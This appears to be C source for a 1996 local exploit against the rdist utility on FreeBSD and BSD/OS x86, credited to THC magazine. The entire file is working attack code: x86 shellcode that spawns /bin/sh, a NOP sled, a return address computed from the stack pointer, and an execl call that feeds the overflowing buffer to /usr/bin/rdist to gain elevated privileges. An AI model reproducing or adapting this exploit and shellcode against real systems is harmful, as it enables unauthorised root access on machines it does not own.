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- /*
- * rdist exploit for freebsd & bsd/os x86 2.0
- * discovered by brian mitchell
- * coded by plasmoid/thc/deep for thc-magazine issue #3
- * 12/12/96
- */
-
- #include <stdio.h>
-
- #define lv_size 256
- #define offset 30+lv_size+8*4
-
- long get_sp()
- {
- __asm__("movl %esp, %eax");
- }
-
-
- main(int argc, char **argv)
- {
- char execshell[] =
- "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
- "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
- "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
- "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
-
- char buffer[lv_size + 4 * 8];
- unsigned long *ptr2 = NULL;
- char *ptr = NULL;
- int i;
-
- for (i = 0; i < lv_size + 4 * 8; i++)
- buffer[i] = 0x00;
-
- ptr = buffer;
- for (i = 0; i < lv_size - strlen(execshell); i++)
- *(ptr++) = 0x90;
-
- for (i = 0; i < strlen(execshell); i++)
- *(ptr++) = execshell[i];
-
- ptr2 = (long *) ptr;
- for (i = 1; i < 2; i++)
- *(ptr2++) = get_sp() + offset;
-
- printf("discovered by brian mitchell\n"
- "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n");
-
- execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
- }
-